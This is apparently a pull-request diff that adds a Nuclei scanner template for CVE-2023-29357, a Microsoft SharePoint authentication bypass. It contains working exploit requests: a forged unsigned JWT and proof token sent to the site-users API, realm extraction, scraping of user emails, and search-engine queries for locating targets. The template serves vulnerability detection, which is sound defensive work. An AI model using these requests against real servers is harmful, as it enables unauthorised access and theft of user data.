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Merge pull request #8288 from projectdiscovery/CVE-2023-29357
Added CVE-2023-29357 (Microsoft SharePoint - Authentication Bypass)
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id: CVE-2023-29357 | ||
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info: | ||
name: Microsoft SharePoint - Authentication Bypass | ||
author: pdteam | ||
severity: critical | ||
description: | | ||
Microsoft SharePoint Server Elevation of Privilege Vulnerability | ||
reference: | ||
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29357 | ||
- https://srcincite.io/advisories/src-2020-0022/ | ||
- https://github.com/Chocapikk/CVE-2023-29357 | ||
- https://sec.vnpt.vn/2023/08/phan-tich-cve-2023-29357-microsoft-sharepoint-validatetokenissuer-authentication-bypass-vulnerability/ | ||
- https://starlabs.sg/blog/2023/09-sharepoint-pre-auth-rce-chain/ | ||
classification: | ||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | ||
cvss-score: 9.8 | ||
cve-id: CVE-2023-29357 | ||
epss-score: 0.00267 | ||
epss-percentile: 0.63767 | ||
cpe: cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:* | ||
metadata: | ||
verified: true | ||
max-request: 2 | ||
vendor: microsoft | ||
product: sharepoint_server | ||
fofa-query: app="Microsoft-SharePoint" | ||
shodan-query: http.headers_hash:-1968878704 | ||
tags: cve,cve2023,microsoft,sharepoint_server | ||
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variables: | ||
client_id: "00000003-0000-0ff1-ce00-000000000000" | ||
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http: | ||
- raw: | ||
- | | ||
GET /_api/web/siteusers HTTP/1.1 | ||
Host: {{Hostname}} | ||
Authorization: Bearer | ||
- | | ||
GET /_api/web/siteusers HTTP/1.1 | ||
Host: {{Hostname}} | ||
Accept: application/json | ||
Authorization: Bearer {{generate_jwt("{\"aud\":\"{{client_id}}@{{realm}}\",\"iss\":\"{{client_id}}\",\"nbf\":1695987703,\"exp\":2011547223,\"ver\":\"hashedprooftoken\",\"nameid\":\"{{client_id}}@{{realm}}\",\"endpointurl\":\"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\":1,\"isloopback\":true}","none")}}AAA | ||
X-PROOF_TOKEN: {{generate_jwt("{\"aud\":\"{{client_id}}@{{realm}}\",\"iss\":\"{{client_id}}\",\"nbf\":1695987703,\"exp\":2011547223,\"ver\":\"hashedprooftoken\",\"nameid\":\"{{client_id}}@{{realm}}\",\"endpointurl\":\"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\":1,\"isloopback\":true}","none")}}AAA | ||
extractors: | ||
- type: regex | ||
part: header | ||
group: 1 | ||
name: realm | ||
regex: | ||
- realm="([^"]*)" | ||
internal: true | ||
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- type: json | ||
json: | ||
- .value[].Email | ||
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matchers: | ||
- type: word | ||
part: body_2 | ||
words: | ||
- LoginName | ||
- IsSiteAdmin | ||
condition: and |